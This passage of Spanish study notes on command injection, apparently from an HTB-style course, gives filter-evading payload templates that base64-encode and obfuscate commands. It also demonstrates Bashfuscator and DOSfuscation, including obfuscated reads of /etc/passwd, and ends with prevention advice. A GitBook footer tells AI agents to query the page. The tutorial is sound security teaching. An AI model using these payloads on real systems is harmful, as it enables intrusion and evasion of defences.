6. **Base64** → codifica todo el pipeline y ejecútalo por capas (abajo).

### Ensamblado por capas (de dentro hacia afuera)

bash

```bash
echo -n 'find /usr/share/ | grep root | grep mysql | tail -n 1' | base64   # 1. blob
base64 -d <<< <BLOB>                                                        # 2. decode
$(base64 -d <<< <BLOB>)                                                     # 3. captura
bash <<< $(base64 -d <<< <BLOB>)                                            # 4. ejecuta
$(rev<<<'hsab')<<<$($(rev<<<'46esab')${IFS}-d<<<<BLOB>)                     # 5. ofusca + IFS
```

### Plantilla reutilizable

```
127.0.0.1%0a$(rev<<<'hsab')<<<$($(rev<<<'46esab')${IFS}-d<<<<BASE64>)
```

bash

```bash
# variantes
127.0.0.1%0abash<<<$(base64${IFS}-d<<<<BASE64>)          # sin rev
127.0.0.1%0abash<<<$(xxd${IFS}-r${IFS}-p<<<<HEX>)        # con xxd
```

> Verifica siempre el blob: `echo '<BASE64>' | base64 -d`. Usa `echo -n` para no meter un `\n` extra.

## Evasion Tools

Frente a herramientas de seguridad avanzadas, la ofuscación manual puede no bastar. En esos casos conviene usar **herramientas automáticas** de ofuscación: una para Linux (**Bashfuscator**) y otra para Windows (**DOSfuscation**).

### 1. Linux — Bashfuscator

#### Instalación

```bash
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user
```

#### Uso básico

Desde `./bashfuscator/bin/`, ofuscar con `-c`:

```bash
./bashfuscator -c 'cat /etc/passwd'
# [+] Mutators used: Token/ForCode -> Command/Reverse
# [+] Payload: ${*/+27\[X\(} ...SNIP... ${*~}
# [+] Payload size: 1664 characters
```

> Así elige una técnica **al azar** → la salida puede ir de cientos a **más de un millón** de caracteres. Hay que acotarla con flags.

#### Uso afinado (payload corto)

```bash
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
# [+] Payload:
# eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
# [+] Payload size: 104 characters
```

| Flag            | Función                                                |
| --------------- | ------------------------------------------------------ |
| `-c`            | Comando a ofuscar.                                     |
| `-s 1`          | Nivel de complejidad (size) mínimo.                    |
| `-t 1`          | Nivel de "throughput" mínimo.                          |
| `--no-mangling` | Desactiva el mangling → payload más limpio.            |
| `--layers 1`    | Una sola capa de ofuscación.                           |
| `-l`            | Lista obfuscators, compressors y encoders disponibles. |

#### Probar el payload

```bash
bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
# root:x:0:0:root:/root:/bin/bash ...
```

> Funciona y no se parece en nada al comando original. Combina varias de las técnicas vistas antes.

### 2. Windows — DOSfuscation

A diferencia de Bashfuscator, es **interactivo**: se ejecuta y se interactúa con él.

#### Instalación / lanzamiento

```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
```

Menú (`help`):

| Opción     | Descripción                                                   |
| ---------- | ------------------------------------------------------------- |
| `TUTORIAL` | Ejemplo guiado de uso.                                        |
| `BINARY`   | Sintaxis ofuscada de binario para `cmd.exe`/`powershell.exe`. |
| `ENCODING` | Encoding con variables de entorno.                            |
| `PAYLOAD`  | Payload ofuscado vía DOSfuscation.                            |

#### Uso

```powershell
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

# Result:
# typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu...
```

Probar en CMD:

```cmd
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent...
REM test_flag
```

> Usa **substring de variables de entorno** (como vimos en la sección de caracteres) para reconstruir el comando pieza a pieza.

| Comando             | Descripción                               |
| ------------------- | ----------------------------------------- |
| `SET COMMAND <cmd>` | Define el comando a ofuscar.              |
| `encoding` → `1`    | Aplica encoding con variables de entorno. |

> **Tip:** sin VM Windows, correr DOSfuscation en Linux con **`pwsh`** (PowerShell Core). Viene preinstalado en PwnBox.

### Resumen rápido

| Herramienta      | SO      | Tipo        | Uso clave                                     |
| ---------------- | ------- | ----------- | --------------------------------------------- |
| **Bashfuscator** | Linux   | CLI (flags) | `-c 'cmd' -s 1 -t 1 --no-mangling --layers 1` |
| **DOSfuscation** | Windows | Interactivo | `SET COMMAND` → `encoding` → `1`              |

> Ambas automatizan y combinan las técnicas manuales (reverse, encoding, substring de variables). Acotar la complejidad (flags/opciones) para obtener payloads más cortos y usables. `pwsh` permite correr DOSfuscation desde Linux.

## Prevención

Tras ver cómo ocurren las inyecciones y cómo se bypassean los filtros, toca el lado defensivo: cómo prevenir command injection en el código y configurar bien el servidor.

Capas: evitar **comandos del sistema**, **validar** input, **sanitizar** input, y **hardening** del servidor.

### 1. Comandos del sistema

Evitar funciones que ejecutan comandos del sistema, sobre todo con input del usuario (incluso influencia **indirecta** puede derivar en inyección).

> Preferir **funciones nativas** del lenguaje que hagan lo mismo de forma segura. Ej. en PHP, para saber si un host está vivo, usar `fsockopen()` en vez de un `ping` vía `system()`.

Si no hay alternativa nativa:

* **Nunca** pasar input del usuario directo a esas funciones.
* Validar y sanitizar en el back-end.
* Limitar al máximo su uso.

### 2. Input Validation

Verificar que el input cumple el **formato esperado**; si no, denegar. Debe hacerse en **front-end Y back-end** (el front solo no basta).

#### PHP — filtros nativos

```php
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
    // call function
} else {
    // deny request
}
```

#### Formato no estándar — regex

```javascript
if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(...)$/.test(ip)){
    // call function
} else {
    // deny request
}
```

| Método                               | Uso                                        |
| ------------------------------------ | ------------------------------------------ |
| `filter_var($x, FILTER_VALIDATE_IP)` | Valida formatos estándar (IP, email, URL). |
| `preg_match` / regex                 | Valida formatos no estándar.               |
| Librerías (`is-ip` en NodeJS)        | `isIp(ip)` para validar formatos comunes.  |

### 3. Input Sanitization

Lo **más crítico**: remover caracteres especiales innecesarios. Se hace **después** de validar (por si la validación falla, ej. un regex malo).

> El blacklisting de palabras/caracteres **no es suficiente** (todo este módulo lo demuestra). Mejor: permitir solo lo necesario con funciones nativas.

#### PHP — allowlist de caracteres

```php
$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);
```

#### JavaScript

```javascript
var ip = ip.replace(/[^A-Za-z0-9.]/g, '');
```

| Elemento                     | Descripción                                              |
| ---------------------------- | -------------------------------------------------------- |
| `[^A-Za-z0-9.]`              | Todo lo que **no** sea alfanumérico o punto.             |
| `preg_replace(..., '', ...)` | Lo elimina → solo quedan caracteres válidos para una IP. |

#### NodeJS — DOMPurify

```javascript
import DOMPurify from 'dompurify';
var ip = DOMPurify.sanitize(ip);
```

#### Cuando hay que permitir caracteres especiales (ej. comentarios)

Escapar con `escapeshellcmd` (PHP) o `escape(ip)` (NodeJS).

> ⚠️ **Escapar no es seguro** por sí solo: como vimos, suele bypassearse. Preferir allowlisting.

### 4. Configuración del servidor (hardening)

Reduce el impacto si el servidor es comprometido:

| Medida                           | Cómo                                                                           |
| -------------------------------- | ------------------------------------------------------------------------------ |
| **WAF**                          | WAF interno (Apache `mod_security`) + externo (Cloudflare, Imperva, Fortinet). |
| **PoLP**                         | Correr el servidor como usuario de bajo privilegio (`www-data`).               |
| **Deshabilitar funciones**       | PHP: `disable_functions=system,exec,...`                                       |
| **Limitar scope**                | PHP: `open_basedir = '/var/www/html'`                                          |
| **Rechazar double-encoding**     | Denegar requests double-encoded y non-ASCII en URLs.                           |
| **Evitar libs sensibles/viejas** | Ej. PHP CGI.                                                                   |

***

### Resumen rápido (checklist)

| Capa             | Action point                                                                           |
| ---------------- | -------------------------------------------------------------------------------------- |
| **Comandos**     | Usar funciones nativas (`fsockopen`) en vez de `system()`.                             |
| **Validación**   | `FILTER_VALIDATE_IP` / regex; front **y** back-end.                                    |
| **Sanitización** | Allowlist con `preg_replace('/[^A-Za-z0-9.]/','')`; escapar no basta.                  |
| **Servidor**     | WAF, PoLP (`www-data`), `disable_functions`, `open_basedir`, rechazar double-encoding. |

> Ni con todas estas medidas se elimina el riesgo: millones de líneas de código → un solo error introduce la vulnerabilidad. Complementar **secure coding** con **pentesting** exhaustivo.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/commnad-injections.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
